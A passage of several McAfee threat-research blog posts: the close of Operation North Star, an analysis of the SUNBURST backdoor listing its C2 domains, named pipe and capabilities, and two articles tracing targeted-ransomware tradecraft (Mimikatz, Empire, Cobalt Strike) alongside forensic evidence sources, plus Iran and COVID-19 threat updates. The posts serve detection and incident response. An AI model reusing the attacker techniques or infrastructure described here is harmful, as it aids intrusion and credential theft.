This campaign was interesting in that there was a particular list of targets of interest, and that list was verified before the decision was made to send a second implant, either 32 or 64 bits, for further and in-depth monitoring. Progress of the implants sent by the C2 was monitored and written in a log file that gave the adversary an overview of which victims were successfully infiltrated and could be monitored further.

Our findings ultimately provide a unique view into not only how the adversary executes his attacks but also how he evaluates and chooses to further exploit his victims.

Read our McAfee Defender’s blog to learn more about how you can build an adaptable security architecture against the Operation North Star campaign.

Special thanks to Philippe Laulheret for his assistance in analysis

 

[1] https://www.ecrypt.eu.org/stream/p2ciphers/vest/vest_p2.pdf

[2] https://www.ecrypt.eu.org/stream/vestp2.html

The post Operation North Star: Behind The Scenes appeared first on McAfee Blog.

Additional Analysis into the SUNBURST Backdoor

17 December 2020 at 23:27

Executive Summary

There has been considerable focus on the recent disclosures associated with SolarWinds, and while existing analysis on the broader campaign has resulted in detection against specific IoCs associated with the Sunburst trojan, the focus within the Advanced Threat Research (ATR) team has been to determine the possibility of additional persistence measures. Our analysis into the backdoor reveals that the level of access lends itself to the assumption that additional persistence mechanisms could have been established and some inferences regarding the intent from adversaries;

  • An interesting observation was the check for the presence of SolarWinds’ Improvement Client executable and it’s version “3.0.0.382”. The ImprovementClient is a program that can collect considerable information such as count of Orion user accounts by authentication method and data about devices and applications monitored.
  • Observation of the http routine was the search for certain keywords in the http-traffic that might indicate the adversary was looking into details/access of Cloud and/or wireless networks of their victims.
  • Even if a victim is using a Proxy-server with username and password, the backdoor is capable of retrieving that information and using it to build up the connection towards the C2.

Available Resources

Although this analysis will focus on the premise that the backdoor supports the feasibility of establishing additional persistence methods we recognize the importance of providing assurance regarding coverage against available indicators. To that end the following resources are available:

Additional resources will become available as analysis both conducted by McAfee researchers, and the wider community becomes available.

Backdoor Analysis

There exists excellent analysis from many of our industry peers into the SUNBURST trojan, and the intention here is not to duplicate findings but to provide analysis we have not seen previously covered. The purpose is to enable potential victims to better understand the capabilities of the campaign in an effort to consider the possibility that there are additional persistence mechanisms.

For the purposes of this analysis our focus centered upon the file “SolarWinds.Orion.Core.BusinessLayer.dll“, this particular file, as the name suggests, is associated with the SolarWinds ORION software suite and was modified with a class added containing the backdoor “SunBurst”.

Figure 1 Added module and dependencies

A deeper dive into the backdoor reveals that the initial call is to the added class “OrionImprovementBusinessLayer” which has the following functions:

 

Figure 2 Start of the inserted class

The class starts with a check to see if the module is running and, if not, it will start the service and thereafter initiate a period of dormancy.

 

Figure 3 Sleep sequence of backdoor

As was detailed by FireEye, this period of sleep can range from minutes up to two weeks. The actual time period of dormancy is dependent on the checks that must be passed from the code, like hash of the Orion process, write-times of files, process running etc. A sleep period of this length of time is unusual and speaks to a very patient adversary.

The most important strings inside the backdoors are encoded with the DeflateStream Class of the .NET’s Compression library together with the base64 encoder. By examining the block-list, we discover findings that warrant further inspection. First entries are the local-IP address ranges and netmasks:

  • 10.0.0.0 255.0.0.0
  • 172.16.0.0 255.240.0.0
  • 192.168.0.0 255.255.0.0

Followed by the IPv6 local addresses equivalents:
fc00::,fe00::, fec0::,ffc0::,ff00::,ff00::

Next, there is a list of IP-addresses and their associated subnetmasks. We executed a whois on those IP-addressees to get an idea of whom they might belong to. There is no indication as to the reason that the following IPs have been inserted into the blocklist, although the netmasks implemented in certain entries are ‘quite’ specific, therefore we have to assume the attackers were intentional in their desire to avoid certain targets.

Assuming that the victim is not within the block list, the sample will then proceed to create the named pipe 583da945-62af-10e8-4902-a8f205c72b2e. This is done to ensure that only one instance of the backdoor is running. We were able to verify this through replication we carried out within our own environment.

Figure 4 Running of Backdoor

When we ran the backdoor, we were able to confirm that this value is hardcoded in the code, and once the dormancy period passed the service is started and named pipe is created. At this point, the backdoor will also create a unique UserID MD5 value for the system it is installed on as depicted within figure 5.

Figure 5 Creation of User-ID

This particular routine will initially read the Device-info of the system but ignore the loopback interfaces (part of the code of the ReadDeviceInfo routine that mentions “Select * From Win32_NetworkAdapterConfiguration where IPEnabled=true” ). The Device-info will then be combined with the domain name, followed by a value from the registry key (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography). This information is then used to create an MD5 value of that string.

The module will start the ‘update’ routine. This routine is a continuous loop designed for verification against, for example, unwanted services that could potentially be used against detection of the backdoor as depicted in figure 6.

 

Figure 6 Update Loop

Information Gathering

The backdoor gathers information from the system. The following information is gathered by a routine called “CollectSystemDescription”, some examples include;

  • OS version, major /minor – is it 32 or 64 bits
  • Network configs, info on IP, NetBIOS, IPV6 etc.
  • Host, SID & Username & System directory. In particular the SID for the Administrator account is searched for.

There exists other subroutines to collect additional data, for example enumerating the information from the network-adaptors, the backdoor uses the GetNetworkAdapterConfiguration routine. The routine is gathering the following information:

Figure 7 Gathering network information

In order to check if certain ‘unwanted’ services are running, the backdoor enumerates the services, creates a hashlist and compares them with a hard-coded set of these values. The ‘update’ routine will exit once a ‘block-listed’ process id discovered. The backdoor will attempt to stop these services by entering a value in the registry for that service that will disable that service. The update routine will check again and continue this process until all unwanted processes are disabled.
Another capability of the backdoor is to start/stop tasks:

Figure 8 Kill/Run task routine

Other functionalities we observed in the code are:

  • SetTime
  • CollectSystemDescription
  • UploadSystemDescription
  • GetProcessByDescription
  • GetFileSystemEntries
  • WriteFile
  • FileExists
  • DeleteFile
  • GetFileHash
  • ReadRegistryValue
  • SetRegistryValue
  • DeleteRegistryValue
  • GetRegistrySubKeyAndValueNames
  • Reboot

An interesting observation was the check for the presence of SolarWinds’ Improvement Client executable and it’s version “3.0.0.382”.

Figure 9 Searching for ImprovementClient

The ImprovementClient is a program that can collect the following information (source SolarWinds) :

  • The SWID (SolarWinds ID) associated with any SolarWinds commercial licenses installed
  • The email address provided to the installer during installation
  • Unique identifier of the downloaded installer
  • Versions of all Orion products installed
  • Operating system version
  • CPU description and count
  • Physical memory installed and percent used
  • Time zone
  • Dates when you logged in to the Orion website
  • Licensing information of other SolarWinds Orion products locally installed
  • Row counts for database tables
  • Count of monitored nodes by polling protocol
  • Count of Orion user accounts by authentication method
  • Network discovery scheduling information (not results)
  • Data about devices and applications monitored:
    • Vendor
    • Model
    • OS/Firmware version
    • Count
    • Abstract configuration information, such as number of websites hosted
  • Data about the SolarWinds product:
    • Feature usage statistics
    • Performance statistics
    • Hardware and OS platform description

Another observation of the http routine was the search for certain keywords in the http-traffic that might indicate the adversary was looking into details/access of cloud and/or wireless networks of their victims by using the SolarWinds’ modules that are installed to monitor/administer these kinds of instances. Managing the network using SolarWinds’ Orion is executed by using a browser and localhost that is hosting the webserver. Reading out the certificate values and search for these keywords in the http-traffic would have gained this information.

Figure 10 Search for keywords

Network / DGA

After all checks and routines have passed, the backdoor will use a domain generating algorithm (hereafter DGA) to generate a domain. Example of the part of the DGA code:

Figure 11 DGA code example

When the domain is successfully reached, the routine called ‘Update’ contains a part that will act on this and start a new thread firing off the routine “HttpHelper.Initialize”. In the below screenshot we can observe that flow:

Figure 12 DGA, HttpHelper

The code shows that when the dnsrecord equals the domain and can be reached, the new thread will start in the background.

The ‘HttpHelper’ class/routine is responsible for all the C2 communications:

Figure 13 HttpHelp

Even if a victim is using a Proxy-server with username and password, the backdoor is capable of retrieving that information and using it to build up the connection towards the C2. It then uses a routine called “IWebProxy GetWebProxy” for that:

Figure 14 Getting proxy username and pwd

The DGA-generated C2s are subdomains of: avsvmcloud[.]com.
An example of how these domains would look:

  • 02m6hcopd17p6h450gt3.appsync-api.us-west-2.avsvmcloud.com
  • 039n5tnndkhrfn5cun0y0sz02hij0b12.appsync-api.us-west-2.avsvmcloud.com
  • 043o9vacvthf0v95t81l.appsync-api.us-east-2.avsvmcloud.com
  • 04jrge684mgk4eq8m8adfg7.appsync-api.us-east-2.avsvmcloud.com
  • 04r0rndp6aom5fq5g6p1.appsync-api.us-west-2.avsvmcloud.com
  • 04spiistorug1jq5o6o0.appsync-api.us-west-2.avsvmcloud.com

Inspecting the CNAME’s from the DGA-generated C2’s we observed the following domain-names:

  • freescanonline[.]com
  • deftsecurity[.]com
  • thedoccloud[.]com
  • websitetheme[.]com
  • highdatabase[.]com
  • incomeupdate[.]com
  • databasegalore[.]com
  • panhardware[.]com
  • Zupertech[.]com
  • Virtualdataserver[.]com
  • digitalcollege[.]org

In the forementioned HTTP handler code, we discovered paths that might be installed on the C2’s for different functions:

  • swip/upd/
  • swip/Events
  • swip/Upload.ashx

Once the backdoor is connected, depending on the objectives from the adversaries, multiple actions can be executed including the usage of multiple payloads that can be injected into memory. At the time of writing, details regarding the ‘killswitch’ against the above domain will prevent this particular backdoor from being operational, however for the purpose of this analysis it demonstrates the level of access afforded to attackers. While the efforts to sinkhole the domain are to be applauded, organisations that have been able to identify indicators of SUNBURST within their environment are strongly encouraged to carry out additional measures to provide themselves assurances that further persistent mechanisms have not been deployed.

The post Additional Analysis into the SUNBURST Backdoor appeared first on McAfee Blog.

Iran Cyber Threat Update

8 January 2020 at 21:04

Recent political tensions in the Middle East region have led to significant speculation of increased cyber-related activities. McAfee is on a heightened state of alert to monitor the evolving threats and rapidly implement coverage across all McAfee products as intelligence becomes available. Known campaigns associated with the threat actors from this region were integrated into our products and we continue to monitor our global telemetry for any further activity.

Current activity

We are observing activity that claim to be attributed from threat actors from this region, however, distinguishing attribution between cybercrime and nation state will be crucial since the line will likely blur. For example, typical cybercrime activities such as ransomware, or indeed defacements or DDoS, could well be a mask for nation-state activities.

The post Iran Cyber Threat Update appeared first on McAfee Blog.

CSI: Evidence Indicators for Targeted Ransomware Attacks – Part I

12 February 2020 at 15:54
malware

For many years now I have been working and teaching in the field of digital forensics, malware analysis and threat intelligence. During one of the classes we always talk about Lockard’s exchange principle: “with contact between two items, there will be an exchange”. If we translate that to the digital world: “when an adversary breaches a system, they will leave traces of evidence behind”. The challenge is often how to discover that evidence in a timely manner to take action and discover what sources are available for detection. The volatile evidence sources must be secured as soon as possible while the non-volatile sources have a lower priority. An example of order of volatility:

Table 1: Order of Volatility

In this series of two articles, you will see an example we have been observing as a concerning trend over the last couple of months.

In the first stage, companies are infected by some sort of information-stealing malware (Azorult, Dridex, Trickbot), or breached by having a weakly secured RDP server at the edge of the network.

Stage two occurs a few weeks later when the same victim is hit by a targeted ransomware campaign using Ryuk, Bitpaymer or another ransomware family the attacker has access to.

A recent example was covered by the team in this article on Bitpaymer. The adversary executing stage one does not necessarily have to be the same as the actor executing stage two. There are plenty of credentials harvested by Azorult or RDP on underground markets. Below is a screenshot from an advertiser demonstrating the number of Azorult victims (13k) they have made, including the information stolen from them:

Figure 1 Azorult C2 example

Stage 1: The Initial Infection

Figure 2 Stage 1

Although there might be some variations, the graphical overview demonstrates how most of these attacks start. Whether by a drive-by compromise where a user visits a website infected with a malicious script or a spear-phishing campaign, the result is a malware infection that steals credentials, exfiltrates them and results in having valid accounts of the victim. The other scenario is buying the valid account information from the underground. Having valid accounts will give access toward a remote service or direct access to a victim’s machine using the malware. When an adversary makes the next move, 9 out of 10 times we observe the usage of a credential dumping tool like Mimikatz, or PowerShell related activity again for password dumping. The goal? To get local-admin, domain-admin or system rights on a system within the victim’s network. The secondary goal we observe with the usage of PowerShell tools/scripts is conducting reconnaissance of the network.

Digital Evidence Initial Access stage:

T1189 Drive-By Compromise

In this scenario the victim most likely browses the Internet and visits a webpage that contains a malicious script. Following the order of Volatility, where could we discover evidence? Depending on what type of actions are defined in the malicious script, it could leave traces on disk or in memory when injected.

T1192 & T1193 Spear-phishing Link/Attachment

In this scenario, the victim receives an email with a link (T1192) or a weaponized attachment (T1193). By clicking on the link, a website is opened, and follow-up actions are executed as described above in the T1189 Drive-by compromise. The order of volatility is similar but will have a larger chain of execution. Since the user initiated the action, more digital evidence will be available on the victim’s machine:

  1. Execution of a program (Email-client)
  2. Clicking on the link will open the default configured Web-browser
  3. Web-browser visits link
  4. Script will execute

For the execution of a program and launch, there is process evidence, the prefetch directory, UserAssist, Shimcache, RecentApps and many more sources to track when they were launched and executed. The email itself can either be retrieved from the victim’s inbox or, in the case of Webmail, there might be remnants of it in the temporary Internet files. Most of the mentioned evidence artifacts are non-volatile and easy to extract in a forensically sound matter.

In the case of a spear-phishing attack with a weaponized attachment, the flow will look mostly similar to below (of course there are variations):

  1. Execution of a program (Email-client)
  2. Opening attachment
  3. Launch of Office application
  4. Execution of the macro
  5. PowerShell/WMIC followed by Internet traffic downloading file
  6. Execution of script/file
  7. Execution in memory or written to disk and execution

We already discussed the non-volatile evidence available for the execution of a program. In this example there will be evidence for the launch/execution of the email-client and the opening of an Office application to execute the attachment. In case the attachment was opened before saving to disk, in Outlook the file was copied to the “SecureTemp” folder which is a hidden folder under Temporary Internet files.

Depending on the payload of the macro, evidence will exist of Internet related traffic. When PowerShell or WMIC is used, the launch of it is recorded in the Windows Prefetch directory and there are traces in the registry and/or event logs. Depending on what type of script or file is executed, traces can be discovered in memory or on disk, with memory most volatile and disk non-volatile.

When, for example, a malware like Azorult is installed on the victim’s machine, the flow will look like this:

Figure 3 Exfiltration and Communication

The exfiltration of the data is mostly happening over TCP port 80 towards a C2 (command and control) dashboard, as demonstrated in Figure 1. Both T1043 and T1041 are techniques that will most likely leave non-volatile traces behind in network logs from devices like a proxy/gateway/firewall.

What we notice often is that infections with, for example, AZORULT are ignored/underestimated. They are being detected and the infection is either blocked or detected and later cleaned, however the capabilities of the malware are underestimated/ignored.

If we look again to table 1, the order of Volatility, the timeframe in which we operate is seconds to minutes with regards to initial network traffic and running of processes. Between infection and exfiltration is again in the timeframe of minutes, more than enough to exfiltrate credentials before an action was taken. This is also the delta in which we have the challenge – are our people, processes and technology combined capable of responding within this attack-window? Anticipating early warning signs and understanding the malware’s capabilities can assist in preventing larger damage.

What happens when the initial compromise results in having valid credentials or victim access through the RAT (random access Trojan), being used for a targeted ransomware attack? We will discuss that in the next article.

 

 

The post CSI: Evidence Indicators for Targeted Ransomware Attacks – Part I appeared first on McAfee Blog.

CSI: Evidence Indicators for Targeted Ransomware Attacks – Part II

20 February 2020 at 15:00

In our first article we discussed the growing pattern of targeted ransomware attacks where the first infection stage is often an info-stealer kind of malware used to gain credentials/access to determine if the target would be valuable for a ransomware attack. In this second part we will pick up where we left off: the attacker has a foothold on the network by controlling an infected host or has a valid account to access a remote service.

Figure 1 Adversary has a beachhead

With either a valid account or having access towards a system in a company, the first two things you want to figure out are:

  1. What kind of rights do I have from this machine?
  2. Where the heck am I in this network?

One of the first commands you would observe as a responder is “whoami/all”. The output of this command will give the details of the account the attacker has on the machine with regards to group/privileges. A great way to detect suspicious activity in your network is to setup a detection rule for the “whoami” command and assign it to the assets in use by executives or holders of key positions in the company. There might always be a techie executive in the company but most of them will never use command or use a command-line.

In the context of the targeted ransomware attacks, the attacker preferably wants to have local-admin/domain-admin and or system rights. Those will be the keys to the kingdom and open all gates.

In the next step, mostly observe some variant from Mimikatz or other password-dumping tools that will dump the credentials from a machine. Either the tool Mimikatz is compiled in various formats or it is part of a remote PowerShell toolkit like Empire:

Figure 2 Empire Mimikatz (source powershellempire.com)

We began this article series with the fact that every touch of a system will leave digital footprints behind, in this example with Empire, the following is happening:

  • Attacker has a connection to a system through usage of a ‘launch script’
  • Attacker is using a C2 (command and control) to interact
  • Attacker is using PowerShell to execute commands

From a MITRE ATT&CK Techniques perspective we would look at this overview of techniques and interaction:

Figure 3 Attacker using Empire

Which stages and evidence sources will create visibility and early warning indicators?

For PowerShell usage there are several digital evidence locations available. Besides traces in memory, there can be traces discovered in the Windows Event logs, the Registry, on the file-system like the Prefetch directory and there’s even a PowerShell command history file available if a version of PowerShell v5 and above is used. That location can be found at:

C:\Users\<username>\AppData\Roaming\Microsoft\Windows PowerShell\PSReadline\ConsoleHost_history.txt 

Empire by design is encrypting its communications, makes infrequent and randomized connections and, last but not least, is mirroring HTTP activity to stay hidden in the ‘normal’ traffic. If we look at the order of volatility from our first article, network traffic will change from seconds to minutes, giving us a very short window unless we do full packet capture and inspection of our network traffic.

The network activity might be challenging to notice, however there are possible indicators that can help possible Empire traffic. To setup the C2 traffic, the attacker needs to configure a ‘listener’ that contains all the settings for the C2 traffic interaction.

Figure 4 Empire Listener setup

In the partial setup screen in Figure 4, we see three URI’s being configured that will be frequently requested and combined with an HTTP Header. A combination detection of the three URI’s polled within x timeframe combined with the HTTP header could be a very good network-indicator to detect Empire C2 traffic. As a responder, when you detect these indicators, look back at Figure 3 and start hunting backwards. You discovered the C2 activity, but it means the hosts who are interacting with the C2 have PowerShell activity and time to secure your evidence. This is how I like to apply the MITRE ATT&CK model:  understand what you just discovered, and the implications  then hunt for evidence or anticipate the attacker’s next step and act.

Keep in mind this is a default setup and can be changed by the attacker. Experience suggests that cyber-crime motivated actors are in a hurry for the cash and use a default installation of tools, whereas nation-state cyber-espionage operations are customizing since they want to operate longer in a victim’s network.

Now back to our scenario. The attacker has acquired the right privileges and has laterally moved through the network to have an idea how large it is and have possibly identified critical assets — they love shared folders with a lot of data in them.

The attacker will next prepare a custom version of the ransomware and could have tested it on underground AV-testing services to make sure that it will be fully undetectable (FUD). Depending on skills and capabilities, the ransomware will either be uploaded to the victim’s network or using scripts distributed and executed over the network. We have observed cases where a series of .bat scripts were used and where the payload was downloaded from Pastebin and executed by PowerShell on hosts – enough variety and options. Once executed,  the first calls will come into the Helpdesk reporting the ransom notes.

A lot of the above techniques are available within post exploitation frameworks, of which there are several options that attackers can choose from. With any of these, the tool is only a conduit and we should always focus on detecting techniques rather than implementation specifics. Available options come in the form of both underground toolkits and penetration test tools designed to build awareness around the attacks. Unfortunately, those designed as security tools may also be used for nefarious purposes. This ‘chicken and egg’ situation is often the cause of heated debate since on one hand the tools can streamline attack scenarios, while on the other, without having them available to defenders, adequate testing of precautions is impossible.

Empire was mentioned above. This excellent PowerShell-based post-exploitation framework is no longer maintained or supported by its authors. Although forks exist, traction has slowed but its use is still detected. Cobalt Strike, a commercial adversary simulation platform regularly used by red teams to test infrastructural security measures and detection capacity, is increasingly being adopted by criminal actors.” Although its license is strictly controlled, pirated and cracked trial versions are available in the criminal underworld. Cobalt Strike is updated regularly to include the latest techniques and tools such as Mimikatz, while allowing a lot of flexibility for addition of new and unique attack and bypass techniques. This can increase the likelihood of success, even on the most recent operating system versions.

Threat groups distributing GoGalocker, MegaCortex and Maze ransomware have been observed utilizing Cobalt Strike. At this stage in our scenario, with a foothold on the network, Cobalt Strike provides many options which can be used to complete their objective. These include T1075 Pass the Hash, T1097 Pass the Ticket, T1105 Remote File Copy, T1021 Remote Services and the old reliable: T1077 Windows Admin Shares.

As detailed in part 1, this evidence remains on a system for differing time spans. By studying previous attacks, we can see a general mode of operation and a sequence in which these techniques are executed. This can help guide us when choosing the timing and methods of evidence collection.

Detection of these attacks is not an easy task. Exploitation frameworks are often open source, in which case the attacker can modify code to manipulate IOC’s (indicators of compromise). Alternatively, and as is the case for our example, Cobalt Strike, the framework will provide specific configuration around the final form of binary droppers, network traffic format, timing and specific parameters, etc. Therefore, generic signatures will only detect the most basic of attacks and, as previously mentioned, focusing on techniques and behaviors rather than tools becomes critical. Creating a Cobalt Strike generic detection may miss the point of its existence – education around malicious techniques and behaviors. However, we can learn a lot about various indicator categories that can be monitored for functional outliers and unusual behaviors and, where the tool is merged into malware strains, the markers for that specific instance can often become specific IOC’s.

In a lot of cases, understanding normal system behavior is crucial for uncovering outliers and having a baseline system for comparison can aid the analysis.

A few examples of these include:

  • Memory
    • The holy grail. Binary droppers may be modified to mask their true intentions, however in memory they can be visible in a decoded format.
    • Search for markers of functionality such as suspicious system calls or reads/writes of sensitive system locations (e.g. lsass memory).
  • Running Processes
    • Similarly, running processes can be very revealing.
    • Although process ‘migration’ is often carried out, review for abnormal process hierarchies.
    • Does the process carry out functionality that is not expected? E.g. does notepad make http requests to an external domain?
  • Network Traffic
    • Domains should match known-good.
    • Spikes or regular timing patterns in traffic type or to specific servers.
    • Variables used in unusual manner, e.g. http headers including encoded binary data.
  • Disk
    • Binary and configuration files available for reverse engineering.
    • This static analysis is not as powerful as dynamic, running software.
    • Debugging a malicious binary may help but beware of sandbox/debugger detection.
  • Backup / Log Files
    • Never fully trust log files as attackers can easily falsify. External sources, e.g. syslog going to an external db, can improve the reliability of log data if available.
    • Search for specific markers for malicious activity. Some useful items to include: command line logs, PowerShell script block logging, specific logs for network applications such as web servers, service installation, share accessed – particularly C$, process launch, account login.

As we highlighted in the two articles, targeted ransomware attacks have increased massively over the past 8 months. Targeting MSPs to hit many at the same time, victims running critical operations, public services, etc. Many of them are all using a similar blueprint as we tried to highlight.

Learn from the articles, identify which technology can give you that visibility, what digital evidence sources do you have, and can you detect fast enough to preserve and respond? If the ‘initial access stage’ is passed, where can you pick up in your line of defense and stop the threat?

Stay tuned for part 3, where we discuss technical controls that are available to help your organization to react to these early warning signs within an acceptable timeframe.

The post CSI: Evidence Indicators for Targeted Ransomware Attacks – Part II appeared first on McAfee Blog.

COVID-19 Threat Update – now includes Blood for Sale

7 April 2020 at 13:01

Although the use of global events as a vehicle to drive digital crime is hardly surprising, the current outbreak of COVID-19 has revealed a multitude of vectors, including one in particular that is somewhat out of the ordinary. In a sea of offers for face masks, a recent posting on a dark web forum reveals the sale of blood from an individual claiming to have recovered from Coronavirus.

What are we doing?

Putting our customers at the core is what McAfee does. Daily updates are provided to products across the McAfee portfolio, with vetted information to secure your valuable assets in company or working from home.

The volume of threats related to COVID-19 has been significant, with lures used in all manner of attacks. Tracking these campaigns reveals the most targeted sector is healthcare, followed by finance, and then education.

Mobile Threats

In March 2020 alone, McAfee Labs identified several malicious Android applications abusing keywords connected to the pandemic. The apps range from ransomware samples to spy-agents that spy on the victim’s device. For example, statically analyzing an app called “Corona Safety Mask,” we observe that the amount of permissions is suspicious:

  • Full Internet access that allows the app to create network sockets
  • Read contact data from the victim’s device
  • Send SMS messages

When the user downloads the app, it can order a facemask from the following site: coronasafetymask.tk. The SMS send permission is abused to send the scam to the victim’s contact list.

Although attribution will clearly be a key concern it is not the primary focus of our research, however there appears to be APT groups incorporating  the COVID-19 theme into their campaigns. For example, spreading documents that talk about the pandemic and are weaponized with malicious macro-code to download malware to the victim’s system.

Underground Marketplaces and scams

We have seen many examples of major events being abused by people whose interest is only financial gain and current global events are no exception. We conducted a short survey on some underground markets and Telegram channels offering protective masks and more. Two examples are shown below:

Onion-site offering masks
Telegram channel with multiple sellers of masks

The use of COVID-19 as a lure does not appear to show any sign of slowing down, indeed there are more campaigns being regularly identified using the global concern for selfish gain. Our focus will be to ensure detection remains up to date, and data points relevant for investigation are shared with authorities.

In the meantime, we will continue to disseminate relevant threat information. To be kept up-to-date as we publish more content,  stay connected to the McAfee Labs Twitter feed.

Finally, while COVID-19 related threats are on the rise, from phishing emails name-dropping the disease to malware named after popular video conferencing services, cybercrime in all aspects continues, and we must remain vigilant to other, traditional threats as well. For example, tips to secure the newly massive mobile workforce can be found here.

Please stay safe.

The post COVID-19 Threat Update – now includes Blood for Sale appeared first on McAfee Blog.

❌
❌